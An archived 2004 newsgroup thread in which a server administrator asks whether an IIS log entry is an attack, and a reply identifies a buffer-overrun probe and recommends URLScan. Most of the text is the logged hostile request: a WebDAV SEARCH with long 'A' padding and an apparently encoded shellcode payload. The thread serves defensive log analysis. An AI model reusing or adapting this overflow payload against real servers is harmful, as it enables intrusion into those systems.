02-20-04 07:35 AM
Someone tooling around looking for a buffer overrun. It's advisable to run
URLScan to filter out these requests by method, length, or both.
http://www.microsoft.com/technet/se...ols/urlscan.asp
"Chee Kiong" <ongck@ap.nec.com.sg> wrote in message
news:1390e01c3f76a$25fdcd10$a601280a@phx
.gbl...
Hi,
my webserver logfile recently is showing some funny SEARCH
message. can any guru, pls enlighten me if it is a attack
and whether was is successfull? i have replaced my ip
with x.x.x.x.
Thanks
Chee Kiong
***************** IIS Logfile ************************
2004-02-20 00:52:10 24.70.3.222 - W3SVC1 WEB1 X.X.X.X 80
SEARCH / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???
??????????????????????????????????####??????????
rmomddddddisjhnegdddddddlohddplokdepnqlo
jldlloskjndiimrlimd
dddddrfsmlgrpehggpdidjlfrjikljijljljskgk
hjlipkgkjjgloqpidjn
djjndfididjlddddddhdigssejlgslsskhfmlosl
jnddlopjlgpdelidloi
lspiglgpddhidikssijdhidikssijdlillipdkhd
mloqpggpdidigssijdp
ssijedieijlohigploihflkldgqiiflokffddgsi
ggpmhmhenqdgpiggqod
soredgnqjkhdlpepodqdgqnhdrosegoeskirkinl
oinfhdgqqjjlodpholo
inepdgqqlodhlodgpinoirimpgrlhfssssssniek
ddkpeskmdnrlsomksqd
smlsrlndrrsprrdjdddgfddddddddddddhqinmdd
ddgdddddddhddddddss
ssddddolddddddddddddddhddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddrlddd
ddddresondrddohdmpq
feoldehp!
pqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrjs
khfdjfjifdkfkijrfdj
mjrfdhhhsigfdjqjsjhjifrdqdqdnfhddddddddd
dddddnigldipkreimjo
mhreimjomhreimjomhmnhijkmhrgimjomhjfhiji
mhrgimjomhlrhjjemhr
nimjomhlrhjjsmhrgimjomhreimjnmhljimjomhj
fiegjmhrlimjomhrkkn
jdmhrdimjomhifjmjgjlreimjomhdddddddddddd
ddddddddddddddddddd
dddddddddddddddddidhiddddhpdedgddhniejnh
eddddddddddddddddrd
dddsdedodehonrddgdddddddedddddddmdddddnd
pnddddddndddddddqdd
dddddddhdddddeddddddddfdddddhddddddddddd
ddddhdddddddddddddd
ddrddddddddhdddddddddddddgddddddddddeddd
ddedddddddddeddddde
dddddddddddddedddddddddddddddddddddddddq
dddddgldedddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
mdddddddeddddddddddddddddhdddddddddddddd
ddddddddddddddldddd
drdddddddddddddddddddgdddddddndddddddfpd
ddddddhdddddddddddd
ddddddddddddddddhdddddrddddddddddddddddd
ddedd!
dddddqddddddddfddddddgdddddddddddddddddd
dddddddddddhdddddpd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddssss
eirlhdhdddrldddddqoplipdkigijldhdednjlkh
ngefidojsfppjpemrpe
dgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpd
hddhpsrqskrpmpgmdle
rpdldfeflqhhfhddijiklogqglhehdsossompigp
ifrdjpqklgphdplqhpf
hdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlog
ihdsjkkkskgdifkdhss
qjmmomdiirsksmloehmikliregqsmrhpqlifeejh
fidkdsldkmdihlonook
ksslgplslhdlodhlikeenghqfnjpqjfoispefspr
qknjjqmdpgpdfmrfsoo
dqfkqhhreefmrpsdnpeigfqoqosssssseirlhdhd
ddrldddddqoplipdkig
ijldhdednjlkhngefidojsfppjpemrpedgpklfms
diooo!
sqhsfnsplgsldfkidirmdmdefpdhddhpsrqskrpm
pgmdlerpdldfeflqhhf
hddijiklogqglhehdsossompigpifrdjpqklgphd
plqhpfhdljnddiejhkk
jgosqqigrdhddirhhdkdgpfrlogihdsjkkkskgdi
fkdhssqjmmomdiirsks
mloehmikliregqsmrhpqlifeejhfidkdsldkmdih
lonookksslgplslhdlo
dhlihheilqlpfhehohidjlqlkgiesgkfhlikfhde
srehligpqmrqkhoknee
piffmfhlpqpjlqnjdrskkqodpklfhdkdeopisirl
ephpmqokksgsqjsddlg
rpedjlsljpogqpggpdpkrmkknsqogrgplmdkdldg
dpsmegdhkdeeoooikkj
gqeglfhskqleopddgkpphedhplfrmqrojjlpdefd
djrheghkhkgmosssjng
shnikokhghjndejnddjndffmipdldnofoeiljhdh
lodsdgenkfreiorhdeh
sgdpfdlddjsnddejrjrfogpedigiikesgdfogimm
lhesskqrkkrdslijpdq
fpedrpnesdnieekhempkdiqlsromprkikoilekni
eddjesdjrproekoofkf
kpseljhdddedlgpdhdplphpjkhldlndmnehdsksk
kskesnllqdpldlofqph
eqloeqpldilqdhhllqehldneklpkliqslhlfjqlm
ihjgkpgnfpksginegld
roksorjdhdmsskhfoidgpegsphhjrmiesgoonero
kehdsepidedldffqmlq
nqsoqsssqgnldgjqqidnpphdeflipqlqoeejqjhs
qdhdhlkdheeoioodrjn
ghpkmqklgjkehekdhkgmssqjqikiffkjlndfjghj
jngqhqehqrlkrmqsods
lhjgqdienegjjnsspmqhrmkjdqpspoelipoheldl
erepr!
rfedgejkoskeffpdhfhkpjlmdjekqeqeoqrpqlsi
lmrfqklngkdmggrdijl
qdssqnqjdpililieqgmqlolosdlerjsspgqldple
ddqknolgsndgkkeqssf
hmijeslqsqpipeheqnmedperfeddgsfrodolojik
qmdjsooeiperddpsdfo
eodldslkminrpemqprdnfsjpmpdpmijngnk - 404 0 0 33073 266
HTTP/1.1 127.0.0.1 - - -
[ Post a follow-up to this message ]
| 
